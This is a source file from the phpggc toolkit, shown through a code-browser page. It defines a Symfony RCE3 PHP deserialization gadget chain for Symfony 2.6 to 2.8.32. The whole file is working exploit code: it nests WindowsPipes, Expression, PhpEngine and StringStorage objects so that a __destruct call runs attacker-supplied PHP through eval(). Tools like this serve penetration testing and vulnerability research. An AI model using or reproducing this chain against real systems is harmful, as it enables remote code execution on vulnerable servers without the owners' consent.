Codebase list phpggc / 9a88393 gadgetchains / Symfony / RCE / 3 / chain.php
9a88393

Tree @9a88393 (Download .tar.gz)

chain.php @9a88393raw · history · blame

<?php

namespace GadgetChain\Symfony;

class RCE3 extends \PHPGGC\GadgetChain\RCE\PHPCode
{
    public static $version = '2.6 <= 2.8.32';
    public static $vector = '__destruct';
    public static $author = 'crlf';
    public static $information = 'Executes through eval() ( <?php \'.$code.\';die(); ?> )';

    public function generate(array $parameters)
    {
        $code = $parameters['code'];

        return new \Symfony\Component\Process\Pipes\WindowsPipes(
               new \Symfony\Component\Finder\Expression\Expression(
               new \Symfony\Component\Templating\PhpEngine(
               new \Symfony\Component\Templating\Storage\StringStorage(
               $code
               ))));
    }
}